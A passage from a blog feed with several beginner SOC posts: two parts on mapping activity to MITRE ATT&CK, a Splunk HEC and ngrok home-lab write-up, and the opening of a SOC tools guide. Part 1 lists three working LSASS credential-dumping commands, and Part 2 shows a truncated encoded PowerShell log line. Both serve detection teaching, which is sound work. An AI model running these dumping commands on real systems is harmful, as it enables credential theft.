            <content:encoded><![CDATA[<p><em>How to look up techniques, map real activity to them, and use ATT&amp;CK during an actual investigation</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T9iGwOreqto0ylt60NMsKQ.png" /></figure><p>In Part 1 we covered the vocabulary: tactics are goals, techniques are methods, and procedures are the exact execution. This part is about using that vocabulary. We will look up techniques, map raw activity to them, walk through a full SOC alert that arrives with an ATT&amp;CK tag, and finish with Navigator and the mistakes most beginners make.</p><h3>How to find a technique in ATT&amp;CK</h3><p>Looking up a technique means finding the correct ATT&amp;CK entry for a behavior you have seen or read about.</p><p>There are three practical ways to do it, and you will use all of them.</p><ol><li><strong>By ID.</strong> If an alert says T1053.005, you can go straight to it on attack.mitre.org. The URL pattern is predictable: <a href="https://attack.mitre.org/techniques/T1053/005/">attack.mitre.org/techniques/T1053/005/</a></li><li><strong>By search</strong>. Use the search box on the site with the behavior or tool name, like “scheduled task” or “LSASS”. This is the fastest route when you know what happened but not the ID.</li><li><strong>By browsing the matrix</strong>. Tactics run across the top as columns, and techniques sit underneath. If you know the goal (say, Credential Access), you can scan that column and see every method listed.</li></ol><p>Once you open a technique page, you don’t need to read all of it. These are the sections that matter:</p><ol><li><strong>Description</strong>: what the technique is and how it works</li><li><strong>Sub</strong>-<strong>techniques</strong>: the variants, listed near the top</li><li><strong>Procedure Examples</strong>: real groups and tools that used it, with how they did it</li><li><strong>Mitigations</strong>: controls that reduce the risk</li><li><strong>Detection</strong>: what to monitor and which data sources you need</li></ol><p><strong>In a SOC:</strong> the Procedure Examples section is the one analysts forget, and it is the most useful for checking your own work. If you think a behavior is T1003.001 and the procedure examples show tools dumping LSASS the way you saw, you are right. If they describe something different, keep looking.</p><h3>How to map an attack to ATT&amp;CK</h3><p>Mapping means taking observed activity and assigning the correct tactic, technique, and sub-technique to it.</p><p>A process that works well:</p><ol><li>Describe the behavior in plain words, without ATT&amp;CK terms. “Word opened, then PowerShell ran with an encoded command.”</li><li>Decide the goal. Was the attacker trying to run code, stay persistent, steal credentials? That gives you the tactic.</li><li>Find the technique that matches the method, using the search or the tactic’s column.</li><li>Pick the sub-technique if one fits. PowerShell is a sub-technique of Command and Scripting Interpreter.</li><li>Verify against the Procedure Examples on the technique page.</li></ol><p>Here is a real example. Your logs show this process creation event (Windows Event ID 4688, or Sysmon Event ID 1):</p><pre>ParentImage:  C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE<br>Image:        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe<br>CommandLine:  powershell.exe -nop -w hidden -enc JABjAGwAaQBlAG4AdAA...</pre><p>Running this through the steps:</p><p><strong>Plain description: </strong>Excel launched PowerShell, hidden, with an encoded command.<br> <strong>Goal</strong>: running code, so the tactic is Execution.<br> <strong>Techniques</strong>: T1059.001 (PowerShell) for the interpreter, and T1204.002 (User Execution: Malicious File) because a user opening a file triggered it. The macro itself would be T1059.005 (Visual Basic).<br> <strong>Bonus</strong>: the file probably arrived by email, so T1566.001 is likely one step earlier.</p><p>Notice that one event maps to more than one technique. That is normal. Real activity rarely fits a single label, and mapping each piece separately gives you a more complete picture.</p><p><strong>In a SOC:</strong> you will map most often when writing up a ticket or an incident report. Practice doing it from the raw event, not from the alert title, because titles are written by whoever built the rule and are sometimes wrong or vague.</p><h3>Practice: identify the technique from the behavior</h3><p>This is the skill of looking at something an attacker did and naming it in ATT&amp;CK terms.</p><p>For every behavior, ask two questions in order. First, what is the attacker trying to achieve? That gives you the tactic. Second, how are they doing it? That gives you the technique.</p><p>Try these before reading the answers.</p><ol><li>An employee gets an email with an invoice attached, opens it, and malware runs.</li><li>Malware sets itself to start again every time the computer restarts.</li><li>A tool reads saved passwords out of the computer’s memory.</li><li>An attacker uses a stolen password to log into a second computer using Remote Desktop.</li><li>An attacker uploads stolen files to a public cloud storage website.</li></ol><p>Answers:</p><ol><li><strong>Goal</strong>: get the first foothold. <br><strong>Tactic</strong>: Initial Access. <br><strong>Method</strong>: a phishing email with a malicious attachment. <br><strong>Technique</strong>: T1566.001 (Phishing: Spearphishing Attachment).</li><li><strong>Goal</strong>: stay on the machine. <br><strong>Tactic</strong>: Persistence. <br><strong>Method</strong>: a scheduled task that runs at startup. <br><strong>Technique</strong>: T1053.005 (Scheduled Task).</li><li><strong>Goal</strong>: get passwords. <br><strong>Tactic</strong>: Credential Access. <br><strong>Method</strong>: reading them from memory. <br><strong>Technique</strong>: T1003.001 (OS Credential Dumping: LSASS Memory).</li><li><strong>Goal</strong>: move to another computer. <br><strong>Tactic</strong>: Lateral Movement. <br><strong>Method</strong>: Remote Desktop using a real account. <br><strong>Technique</strong>: T1021.001 (Remote Desktop Protocol), along with T1078 (Valid Accounts) because the stolen password is a legitimate login.</li><li><strong>Goal</strong>: get the data out. <br><strong>Tactic</strong>: Exfiltration. <br><strong>Method</strong>: uploading to a web service. <br><strong>Technique</strong>: T1567 (Exfiltration Over Web Service).</li></ol><p>If the goal came to you first and the method second, you are already thinking the way ATT&amp;CK is built.</p><h3>How SOC analysts use ATT&amp;CK: an alert walkthrough</h3><p><strong>Definition:</strong> For a SOC analyst, ATT&amp;CK turns one alert into a short list of questions: what is this, what happened before it, and what might happen next.</p><p>First, a quick way to keep the three layers from Part 1 straight. When you look at an alert, each layer comes from a different place.</p><ol><li><strong>Tactic</strong>: the goal. It comes from the ATT&amp;CK tag on the alert.</li><li><strong>Technique</strong>: the method. It also comes from the ATT&amp;CK tag on the alert.</li><li><strong>Procedure</strong>: the exact command or action. It comes from the raw log, not from ATT&amp;CK.</li></ol><p>Keep that in mind and the walkthrough stays simple.</p><p><strong>How the tag gets on the alert.</strong> Whoever wrote the detection rule chose which tactic and technique it represents and saved that in the rule. The SIEM or EDR then shows it on every alert the rule creates. So the tag is a first-pass label. You still check it against the logs.</p><p><strong>The alert:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b5rIuB3IhIyujmpcZ0XerA.png" /></figure><p><strong>Step 1: read the tag.</strong> Tactic isExecution, so the attacker’s goal here is to run code and Technique is T1059.001, so the method is PowerShell. The procedure is what you find when you open the raw log and see the exact command that ran. In this case it is a hidden, encoded PowerShell command launched by Excel. In plain words, a spreadsheet should never start a command tool, so this deserves attention.</p><p><strong>Step 2: ask what happened before.</strong> Execution means code is already running, and code has to get onto the machine somehow. The tactic before it is Initial Access. So search the email logs for a file sent to a.sharma just before the alert. Suppose you find “Invoice_Sept.xlsm” from an outside sender, twelve minutes earlier. Tactic: Initial Access. Technique: T1566.001 (phishing attachment). Now the story makes sense: a phishing email led to a macro, and the macro ran PowerShell.</p><p><strong>Step 3: ask what happens next.</strong> After running code, attackers usually try to stay on the machine. So check FIN-PC-07 for a new scheduled task created just after the alert. Suppose you find one named “Updater”. Tactic: Persistence. Technique: T1053.005 (Scheduled Task). Now this is more than one suspicious event. It is an attacker settling in.</p><p><strong>Step 4: decide what to do.</strong> You have the phishing email, the PowerShell execution, and the persistence. That is enough to call it a real incident, not a false alarm. Isolate the host using your EDR, and write the ticket.</p><p><strong>Step 5: write the ticket using ATT&amp;CK.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GXovsI21sYATP8H93G0SSA.png" /></figure><p>Each line pairs the goal with the method, which is all a tactic and a technique are. The incident response team can read this in thirty seconds and know exactly where to start.</p><p><strong>What made the tag useful.</strong> It told you the attacker’s goal, so you could ask what came before and what usually comes next. Without it, you would have had one odd PowerShell event and no idea where to look.</p><h3>How incident responders use ATT&amp;CK</h3><p><strong>Definition:</strong> For incident responders, ATT&amp;CK is a way to build the timeline, scope the damage, and choose containment steps.</p><p>Picking up from the ticket above, the IR team receives a list of observed techniques and works from it in three ways.</p><p>First, the timeline. Each technique is placed in order with timestamps, so the incident reads as a sequence: phishing email, macro execution, persistence, and whatever comes after. Gaps in the timeline show where to look. If credential dumping isn’t in the timeline yet, they check for it.</p><p>Second, scoping. Every technique suggests related activity to hunt for. Because T1003 is common after Execution, the team checks whether credentials were taken, and if so, where those credentials were used. That leads to Lateral Movement checks such as unusual RDP logons (T1021.001) from FIN-PC-07 to other machines.</p><p>Third, containment and cleanup, which depends on the technique. Each one has its own fix:</p><ol><li>T1053.005: find and delete the scheduled task, and check for other persistence</li><li>T1003.001: assume passwords on that machine are compromised and reset them</li><li>T1021.001: restrict RDP between network segments and review recent logons</li><li>T1566.001: purge the email from all mailboxes and block the sender</li></ol><p><strong>In a SOC:</strong> this is where junior analysts can add real value. A ticket that lists techniques and what has been ruled out lets IR start working in minutes instead of asking you to explain everything from scratch.</p><h3>ATT&amp;CK Navigator</h3><p><strong>Definition:</strong> ATT&amp;CK Navigator is a free web tool that shows the ATT&amp;CK matrix as a layer you can color, score, and annotate. It lives at mitre-attack.github.io/attack-navigator.</p><p>Think of a layer as a saved view of the matrix. Building one takes a few minutes:</p><ol><li>Open Navigator and create a new layer, choosing the Enterprise matrix.</li><li>Select the techniques you care about.</li><li>Assign a color or a score to them, and add comments if needed.</li><li>Save the layer as a JSON file, or export it as an image or Excel sheet.</li></ol><p>Three practical uses:</p><ol><li>Incident map. Highlight every technique from the ticket above. The result is a quick visual for the incident report showing how far the attacker got.</li><li>Detection coverage map. Score each technique by how well you detect it, for example 0 for nothing, 1 for partial, and 2 for solid. Techniques left uncolored are your blind spots.</li><li>Threat group comparison. Load a group’s technique list as one layer and your coverage as another, then overlay them. Techniques the group uses that you don’t detect are your priority gaps.</li></ol><p><strong>In a SOC:</strong> coverage maps are common in security reviews and audits. If your manager asks “how ready are we for this group?”, a Navigator overlay answers it in one screenshot, and it points straight at what to build next.</p><h3>Where to go next</h3><p>The best way to get comfortable with ATT&amp;CK is to practice on real telemetry.</p><ol><li>Browse a few technique pages and read the Procedure Examples, not just the descriptions.</li><li>If you have a Splunk or similar home lab, run small tests from Atomic Red Team, which provides safe, technique-by-technique attack simulations. Then check which logs each test generates and whether an alert fires.</li><li>Build your own Navigator layer of what your lab can currently detect, and try to fill one gap at a time.</li><li>Next time an alert carries an ATT&amp;CK tag, run through the same questions from the walkthrough: what came before, what usually comes next, and what do I write down?</li></ol><p>Once you do that a few times, the IDs stop feeling like a secret code and start working as shorthand.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=15405b397eb4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MITRE ATT&CK, Part 1: Tactics, Techniques and Procedures]]></title>
            <link>https://medium.com/@manohar017manu/mitre-att-ck-part-1-tactics-techniques-and-procedures-e63f83942246?source=rss-a07763673935------2</link>
            <guid isPermaLink="false">https://medium.com/p/e63f83942246</guid>
            <category><![CDATA[soc-mitre-attack]]></category>
            <category><![CDATA[mitre-attack-framework]]></category>
            <category><![CDATA[mitre-attack]]></category>
            <category><![CDATA[mitre-attck]]></category>
            <category><![CDATA[mitre-attack-ttp]]></category>
            <dc:creator><![CDATA[Manohar T H]]></dc:creator>
            <pubDate>Mon, 28 Sep 2026 17:32:40 GMT</pubDate>
            <atom:updated>2026-09-28T17:32:40.763Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nidX7k2PI6qMTFK5_ZGpUg.png" /></figure><p><em>What ATT&amp;CK is, why SOC teams use it, and how to read it</em></p><p>If you work in or around a SOC, you have seen alerts tagged with things like “Execution, T1059.001”. Those tags come from MITRE ATT&amp;CK. This first part covers the concepts you need to read them properly. Part 2 covers how to use ATT&amp;CK in real work.</p><h3>Why ATT&amp;CK exists</h3><p>Before ATT&amp;CK, every vendor and every team described attacks in their own words. One report said “malicious script execution,” another said “living off the land,” and a third said “fileless payload.” Same behavior, different names. That made it hard to compare reports, share intel, or answer a simple question like “do we detect this?”</p><p>There was a second problem. Most defenses focused on indicators like file hashes and IP addresses. Attackers change those in minutes. What they cannot easily change is what they need to do on a system, like run code, steal credentials, or move to another machine. ATT&amp;CK catalogs those behaviors and gives each one a name and an ID, so everyone talks about them the same way.</p><h3>What is MITRE ATT&amp;CK</h3><p><strong>Definition:</strong> ATT&amp;CK is a free, public knowledge base of attacker behaviors, built from real intrusions and maintained by MITRE, a US non-profit.</p><p>The name stands for Adversarial Tactics, Techniques, and Common Knowledge. It comes as three matrices: Enterprise (Windows, Linux, macOS, cloud, network), Mobile, and ICS. Enterprise is where most SOC work happens, so that’s what this series covers.</p><p>ATT&amp;CK is a reference, not a tool. You don’t install it, and it isn’t a compliance checklist. It gives you a shared vocabulary for describing what an attacker did.</p><p><strong>In a SOC:</strong> many SIEM and EDR alerts already carry ATT&amp;CK tags. Reading them tells you what stage of an attack you are looking at before you open a single raw log.</p><h3>Tactics</h3><p><strong>Definition:</strong> A tactic is the goal an attacker is trying to reach at a given stage. It is the “why.”</p><p>Enterprise ATT&amp;CK has 15 tactics, roughly in the order an intrusion unfolds:</p><ol><li><strong>Reconnaissance</strong>: gathering information about the target</li><li><strong>Resource Development: </strong>setting up infrastructure, domains, or accounts for the attack</li><li><strong>Initial Access</strong>: getting the first foothold, such as a phishing email</li><li><strong>Execution:</strong> running malicious code</li><li><strong>Persistence:</strong> surviving reboots and logoffs</li><li><strong>Privilege Escalation</strong>: getting higher permissions</li><li><strong>Stealth:</strong> avoiding detection</li><li><strong>Defense</strong> <strong>Impairment</strong>: disabling or tampering with security controls</li><li><strong>Credential Access</strong>: stealing usernames, passwords, and tokens</li><li><strong>Discovery:</strong> mapping users, hosts, and network resources</li><li><strong>Lateral Movement: </strong>moving to other systems</li><li><strong>Collection: </strong>gathering the data of interest</li><li><strong>Command and Control: </strong>talking to the compromised system remotely</li><li><strong>Exfiltration</strong>: moving data out</li><li><strong>Impact</strong>: disruption, encryption, data destruction</li></ol><p><strong>In a SOC:</strong> tactics help you judge severity. A lone Discovery alert is often noise. Credential Access followed by Lateral Movement on the same account is an active intrusion, and you escalate.</p><h3>Techniques and sub-techniques</h3><p><strong>Definition:</strong> A technique is the specific method used to achieve a tactic. It is the “how.”</p><p>Each technique has an ID starting with T. Many have sub-techniques, written with a decimal. T1059 is Command and Scripting Interpreter, and T1059.001 is the PowerShell version of it. The parent tells you the category, and the sub-technique tells you the exact variant.</p><p>A few you will see constantly:</p><ol><li>T1566.001, Phishing: Spearphishing Attachment (Initial Access)</li><li>T1059.001, PowerShell (Execution)</li><li>T1053.005, Scheduled Task (Persistence)</li><li>T1003.001, LSASS Memory dumping (Credential Access)</li><li>T1021.001, Remote Desktop Protocol (Lateral Movement)</li></ol><p>The same technique can sit under more than one tactic. Scheduled Task is listed under Execution, Persistence, and Privilege Escalation, because it can serve any of those goals. When you map an alert, the tactic depends on what the attacker was trying to do with it, and that comes from context.</p><p><strong>In a SOC:</strong> precision matters in tickets. “Persistence on host X” is vague. “T1053.005, scheduled task created on host X” tells the next analyst what to search for and what to remove. A registry Run key (T1547.001) would need a different cleanup and a different detection.</p><h3>Procedures and TTPs</h3><p><strong>Definition:</strong> A procedure is the exact way a specific attacker or tool performs a technique.</p><p>Take T1003.001, dumping LSASS memory. Three common procedures:</p><pre>mimikatz # sekurlsa::logonpasswords<br>procdump.exe -ma lsass.exe lsass.dmp<br>rundll32.exe comsvcs.dll, MiniDump &lt;lsass_pid&gt; dump.bin full</pre><p>The tactic is Credential Access, the technique is OS Credential Dumping: LSASS Memory, and each of those commands is a different procedure. Together, tactics, techniques, and procedures are what people call TTPs, going from general to specific.</p><p><strong>In a SOC:</strong> this is the difference between weak and strong detections. A rule that looks for the string “mimikatz” covers one procedure and misses the other two. A rule that looks for suspicious processes accessing LSASS (Sysmon Event ID 10, for example) covers the technique itself. Good detection engineering targets the technique and treats procedures as test cases.</p><h3>The other parts of ATT&amp;CK</h3><p>Besides tactics and techniques, ATT&amp;CK links each technique to related data:</p><ol><li><strong>Groups</strong>: tracked threat actors and the techniques they use</li><li><strong>Software</strong>: malware and tools, such as Mimikatz or Cobalt Strike</li><li><strong>Campaigns</strong>: specific intrusion operations tied to groups and tools</li><li><strong>Mitigations</strong>: controls that reduce a technique’s risk</li><li><strong>Detection content</strong>: in v19 this is organized as Detection Strategies, Analytics, and Data Components, telling you what to look for and which log sources you need</li></ol><p>Every technique page pulls these together, which makes it a good starting point for both investigation and detection work.</p><p><strong>In a SOC:</strong> when a news story says a group is targeting your industry, you open the group’s page, list its techniques, and check which ones your tools would catch. The gaps become your detection backlog. The mitigations tab often gives you a quick fix too. For example, blocking Office apps from spawning child processes stops the macro-to-PowerShell chain at T1059.001.</p><h3>ATT&amp;CK vs the Cyber Kill Chain</h3><p>The Cyber Kill Chain, published by Lockheed Martin in 2011, describes an attack as seven fixed steps: Reconnaissance, Weaponization, Delivery, Exploitation, Installation, Command and Control, and Actions on Objectives. The idea is that stopping the attack at any step breaks the chain.</p><p>It is useful for a high-level view, but it has two limits. Everything after the attacker gets in is compressed into one step, Actions on Objectives, which is exactly where analysts spend most of their time. And it assumes a straight line, while real attackers loop back and repeat.</p><p>ATT&amp;CK breaks that last step into Credential Access, Discovery, Lateral Movement, Collection, Exfiltration, and more, and lists specific techniques under each. It also makes no assumption about order.</p><p><strong>In a SOC:</strong> they complement each other. The Kill Chain works for explaining an incident to management in a few sentences. ATT&amp;CK is what you use for the technical write-up, hunting, and detection work.</p><h3>What’s next</h3><p>You now have the vocabulary: tactics are goals, techniques are methods, procedures are the exact execution, and the rest of ATT&amp;CK connects those to groups, tools, mitigations, and detections. In Part 2, we’ll look up techniques on the ATT&amp;CK site, map real attacker behavior to techniques step by step, see how different security roles use ATT&amp;CK, and build a coverage map in ATT&amp;CK Navigator.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e63f83942246" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building a SOC Home Lab: Integrating Splunk SIEM with a Live MERN Web Application Hosted on Render]]></title>
            <link>https://medium.com/@manohar017manu/building-a-soc-home-lab-integrating-splunk-siem-with-a-live-mern-web-application-hosted-on-render-73653ad9378f?source=rss-a07763673935------2</link>
            <guid isPermaLink="false">https://medium.com/p/73653ad9378f</guid>
            <category><![CDATA[splunk-enterprise]]></category>
            <category><![CDATA[splunk-siem-with-mern-app]]></category>
            <category><![CDATA[http-event-collector]]></category>
            <category><![CDATA[splunk-home-lab]]></category>
            <category><![CDATA[soc-home-lab]]></category>
            <dc:creator><![CDATA[Manohar T H]]></dc:creator>
            <pubDate>Sun, 02 Aug 2026 13:30:05 GMT</pubDate>
            <atom:updated>2026-08-14T02:01:47.126Z</atom:updated>
            <content:encoded><![CDATA[<h4><em>A walkthrough for </em>How I Built a <em>real home lab SOC pipeline, the problems I ran into, and everything I learned along the way.</em></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0abdTe4wK_gxCWL47kSlrw.png" /></figure><p>A while back, I built a full-stack chat application as a college project using <strong>React, Node.js, Express, and MongoDB</strong>, and deployed it on <strong>Render</strong> so anyone could access it online.</p><p>Around the same time, I started learning cybersecurity and working as a junior SOC analyst. Most of my Splunk practice involved sample datasets from tutorials, which are great for learning the basics but don’t reflect how a real SOC operates. I wanted to analyze security events generated by an actual application with real users.</p><p>That led to a simple idea: <strong>what if my own web application could send security events directly to my local Splunk instance?</strong> Instead of static log files, I could monitor real login attempts, suspicious requests, and other application activity as it happened.</p><p>What started as a small experiment quickly became much more than that. Building the logging pipeline, connecting a cloud-hosted application to a locally running SIEM, and troubleshooting the integration taught me far more about SOC monitoring and application security than I expected.</p><h3>Why this wasn’t straightforward</h3><p>At first, the solution seemed simple: have my application send logs directly to Splunk. The problem was that my application was hosted on <strong>Render</strong>, while <strong>Splunk Enterprise</strong> was running on my local Windows machine.</p><p>Unlike the application, my laptop isn’t publicly accessible. It’s behind a home router, which blocks incoming connections by default. That meant my Render-hosted application had no direct way to reach Splunk’s HTTP Event Collector</p><p><strong>A few options came to mind, and I ruled each one out for a real reason:</strong></p><ul><li><strong>Splunk Universal Forwarder:</strong> This is not possible because Render is a managed platform. we does not have any access to server to download the Splunk forwarder, it doesn’t allow installing any background services or agents like the Universal Forwarder.</li><li><strong>Docker:</strong> I wanted to keep the setup close to a real Windows-based SOC analyst environment, so I avoided using Docker and looked for a solution that worked with a local Splunk installation.</li></ul><h3>The Idea: HTTP Event Collector and ngrok</h3><p>The real challenge wasn’t <strong>how to send logs to Splunk</strong>. It was <strong>how to let a public, internet-facing application securely communicate with a Splunk instance running on my local machine, without exposing my home network</strong>.</p><p>The solution came down to two technologies working together: <strong>Splunk’s HTTP Event Collector (HEC)</strong> and <strong>ngrok</strong>.</p><h4>Splunk HTTP Event Collector (HEC)</h4><blockquote>HEC is a built-in Splunk feature that allows applications to send logs directly to Splunk over HTTPS using an authentication token.</blockquote><blockquote>Unlike the traditional approach of installing a <strong>Splunk Universal Forwarder</strong> to collect log files, HEC accepts log events through simple HTTP POST requests. Since my application is hosted on <strong>Render</strong>, I don’t have operating system access to install a Universal Forwarder. Instead, whenever a security event occurs, my backend simply sends a JSON payload to Splunk’s HEC endpoint.</blockquote><h4>ngrok</h4><blockquote>HEC solves the problem of <strong>how to send logs</strong>, but not <strong>how to reach a Splunk instance running on a local machine</strong>.</blockquote><blockquote>This is where <strong>ngrok</strong> comes in. ngrok creates a secure HTTPS tunnel between my laptop and the internet. It provides a public URL that forwards incoming requests to my local machine on <strong>port 8088</strong>, where Splunk’s HTTP Event Collector is listening.</blockquote><p>Because the tunnel is initiated from my laptop, there’s no need to configure port forwarding or expose my home network.</p><h3>How Everything Works Together</h3><p>When a security event occurs for example, a failed login — the backend running on Render creates a JSON event containing details such as the event type, timestamp, IP address, and request information.</p><p>The backend sends this payload as an HTTPS POST request to the public <strong>ngrok</strong> URL. ngrok receives the request and securely forwards it through the tunnel to my local machine, where <strong>Splunk’s HTTP Event Collector (HEC)</strong> is listening on <strong>port 8088</strong>.</p><p>Splunk validates the HEC token attached to the request and, if it’s valid, indexes the event. Once indexed, the event can be searched, visualized in dashboards, or used to trigger alerts.</p><p>The event follows this path:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*3M09RiLEn9FgxmZA1fflOA.png" /></figure><h3>Prerequisites</h3><p>Before writing any code, I needed three components in place: <strong>Splunk Enterprise</strong>, <strong>ngrok</strong>, and a few environment variables in my application.</p><h3>1. Splunk Enterprise</h3><p>I installed <strong>Splunk Enterprise</strong> on my local Windows machine and accessed the web interface at http://localhost:8000. After logging in, I enabled the <strong>HTTP Event Collector (HEC)</strong>, created a dedicated index for this project, and generated a HEC token. This token is used by the application to authenticate when sending security events to Splunk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kUqtPCBYH8y6Do9hyDCa8w.png" /></figure><h3>2. ngrok</h3><p>Since Splunk is running locally, I used <strong>ngrok</strong> to expose the HEC endpoint over HTTPS. After creating a free ngrok account and configuring my auth token, I started a tunnel to Splunk’s HEC port (8088).</p><p>ngrok provided a public HTTPS URL, which my Render-hosted application uses to send security events.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8V_R2wY8MAxoijzphlFRwA.png" /></figure><h3>3. Application Configuration</h3><p>Finally, I added the following environment variables to my backend (or Render dashboard):</p><pre>SPLUNK_HEC_URL=https://your-ngrok-domain.ngrok-free.app<br>SPLUNK_HEC_TOKEN=your_hec_token<br>SPLUNK_INDEX=chatapp_lab</pre><p>Whenever a security event occurs, the backend reads these values and sends the event to Splunk through the ngrok tunnel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gp7on7LMTq8Pe-XgtrfrSQ.png" /></figure><p>I then added a logging function to the backend that is called whenever a security-relevant event occurs, such as user registration, login, logout, or sending a message. The function builds a JSON event and sends it to Splunk through the HEC endpoint.</p><p>To ensure logging never affects the user experience, the logger runs independently of the application’s core functionality. If Splunk or ngrok is unavailable, the logging request simply fails silently while the application continues to function normally.</p><h3>What kinds of security events you can actually capture</h3><p>Once the logging pipeline was working, the next step was deciding <strong>what security events were worth monitoring</strong>.</p><h4>Authentication Events</h4><p>Authentication was the most valuable place to start. I logged:</p><ul><li>User registration</li><li>Successful and failed login attempts</li><li>Logout events</li><li>Account deletion</li><li>Authentication failure reasons</li></ul><p>These events allowed me to detect common attack patterns using Splunk searches. For example:</p><ul><li>Multiple failed logins against the same account can indicate a <strong>brute-force attack</strong>.</li><li>Failed logins across many accounts from the same IP may indicate <strong>credential stuffing</strong>.</li><li>Multiple account registrations from a single IP within a short period can suggest <strong>automated account creation</strong>.</li></ul><h4>Authorization Events</h4><p>I also logged attempts to access protected resources without a valid JWT or with an expired or tampered token. These events can help identify users probing secured endpoints or attempting unauthorized access.</p><h4>Input Validation Events</h4><p>To detect common application-layer attacks, I added validation checks before processing user input.</p><ul><li><strong>Cross-Site Scripting (XSS):</strong> Chat messages are inspected for patterns such as &lt;script&gt; tags and inline JavaScript event handlers. Suspicious messages are blocked and logged.</li><li><strong>NoSQL Injection:</strong> Login and signup requests validate that email and password fields contain plain strings instead of objects or other structured data. Invalid requests are rejected and logged as potential NoSQL injection attempts.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z4Grkcngr3j4gqOugEeX-A.png" /></figure><h3>What This Project Doesn’t Detect</h3><p>This project focuses on <strong>application-level security monitoring</strong>, so there are limits to what it can observe.</p><ul><li><strong>Distributed Denial-of-Service (DDoS):</strong> Large-scale DDoS attacks are typically mitigated by infrastructure providers before they reach the application. Since my detection runs inside the Express application, it only sees requests that actually arrive at the backend.</li><li><strong>Cross-Site Request Forgery (CSRF):</strong> CSRF is primarily a prevention problem rather than a detection problem. Proper cookie settings and CSRF tokens are the recommended defenses, so I didn’t implement CSRF detection in this project.</li></ul><p>Being clear about these limitations was important to me. The goal wasn’t to build a full SIEM or enterprise SOC solution, but to create a realistic application that generates meaningful security telemetry for learning, monitoring, and detection using Splunk.</p><h3>Limitations in a Real-World Environment</h3><p>The biggest limitation of this setup is that the logging pipeline is <strong>not always online</strong>.</p><p>While the chat application is hosted on Render and runs continuously, both <strong>Splunk Enterprise</strong> and the <strong>ngrok tunnel</strong> run on my local machine. If my laptop is turned off, asleep, or the ngrok tunnel is disconnected, the application can no longer send security events to Splunk.</p><p>To avoid affecting the user experience, the logging function is designed to fail silently. If Splunk is unavailable, the application continues to work normally, but the security event is simply not recorded.</p><p>For a personal home lab, this trade-off is acceptable. However, in a production environment, log loss would not be acceptable. A more reliable architecture would include a durable message queue (such as Kafka, RabbitMQ, or AWS SQS) to buffer events and deliver them once the logging pipeline becomes available again.</p><p>This project was designed as a learning platform for SOC monitoring rather than a production-ready logging infrastructure, so I chose simplicity over guaranteed event delivery.</p><h3>Closing thoughts</h3><p>What started as a simple goal for sending logs from my own web application to Splunk turned into a much broader learning experience. Along the way, I learned how to build a basic SIEM pipeline, integrate a cloud-hosted application with a locally running Splunk instance, identify meaningful security events, understand the limitations of a home lab.</p><p>This project is by no means a production-ready SOC solution, but it gave me hands-on experience with concepts that are difficult to learn using sample datasets alone. Seeing real security events generated by an application I built myself made the learning process far more practical and rewarding.</p><p>I have kept the complete source code, the exact list of setup steps, and a README covering every configuration value needed, in a public GitHub repository, linked below, for anyone who wants to look at the implementation in detail or try building something similar themselves.</p><p><a href="https://github.com/cybmanuer/ChatApplication"><strong>Link to project GitHub repository</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=73653ad9378f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SOC Tools Explained for Beginners: SIEM, EDR, NDR & SOAR — A Simple Guide]]></title>
            <link>https://medium.com/@manohar017manu/soc-tools-explained-for-beginners-siem-edr-ndr-soar-a-simple-guide-2e442252beef?source=rss-a07763673935------2</link>
            <guid isPermaLink="false">https://medium.com/p/2e442252beef</guid>
            <category><![CDATA[siem-tools]]></category>
            <category><![CDATA[soc-tools]]></category>
            <category><![CDATA[cybersecurity-tools]]></category>
            <category><![CDATA[basics-of-soc]]></category>
            <category><![CDATA[edr-and-ndr-tool]]></category>
            <dc:creator><![CDATA[Manohar T H]]></dc:creator>
            <pubDate>Wed, 24 Jun 2026 13:40:07 GMT</pubDate>
            <atom:updated>2026-06-24T13:40:07.281Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7cSxv4CgH6Mrk6BF6qiHQA.png" /></figure><h3>Before We Start, What Even Is a SOC?</h3><p>Imagine a hospital emergency room. Doctors, nurses, and machines are all working together 24/7 to detect problems, diagnose them, and respond fast.</p><p>A <strong>SOC (Security Operations Center)</strong> is exactly that, but for cybersecurity.</p><p>It’s a team of security analysts watching over an organization’s entire digital environment like servers, laptops, emails, networks 24/7. Their job is to <strong>Detect threats. Investigate them. Stop them.</strong></p><p>And just like doctors use different machines (X-rays, heart monitors, blood tests), SOC analysts use different tools to do their job.</p><p>In this blog, I’ll walk you through the <strong>5 most important SOC tools</strong> — what they are, how they work, and how they all connect together.</p><h3>How All These Tools Connect</h3><p>Before we dive into each tool, let me give you a simple mental model.</p><p>Think of your organization’s IT environment like a <strong>city</strong>:</p><ul><li><strong>Endpoints</strong> (laptops, servers, phones) = Buildings in the city</li><li><strong>Network</strong> = Roads connecting the buildings</li><li><strong>Users</strong> = People walking around</li><li><strong>Attackers</strong> = Criminals trying to break in</li></ul><p>Now you need a security system for this city. Here’s what each tool does:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JDBDe7_XGFD4UYywu8MdQQ.jpeg" /></figure><p>Okay, now let’s understand each tool one by one.</p><h3>1. SIEM — The Brain of the SOC</h3><h3>What Is SIEM?</h3><p><strong>SIEM</strong> stands for <strong>Security Information and Event 